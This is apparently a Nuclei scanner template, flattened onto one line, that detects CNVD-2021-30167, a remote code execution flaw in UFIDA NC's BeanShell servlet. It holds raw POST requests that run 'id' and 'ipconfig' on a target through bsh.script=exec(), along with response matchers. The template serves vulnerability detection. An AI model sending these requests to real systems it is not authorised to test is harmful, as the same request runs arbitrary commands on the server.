id: CNVD-2021-30167 info: name: UFIDA NC BeanShell Remote Code Execution author: pikpikcu severity: high reference: - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A - https://www.cnvd.org.cn/webinfo/show/6491 tags: beanshell,rce,cnvd,cnvd2021 requests: - raw: - | #linux POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded bsh.script=exec("id"); - | #windows POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded bsh.script=exec("ipconfig"); matchers-condition: and matchers: - type: regex regex: - "uid=" - "Windows IP" condition: or - type: word words: - "BeanShell Test Servlet" - type: status status: - 200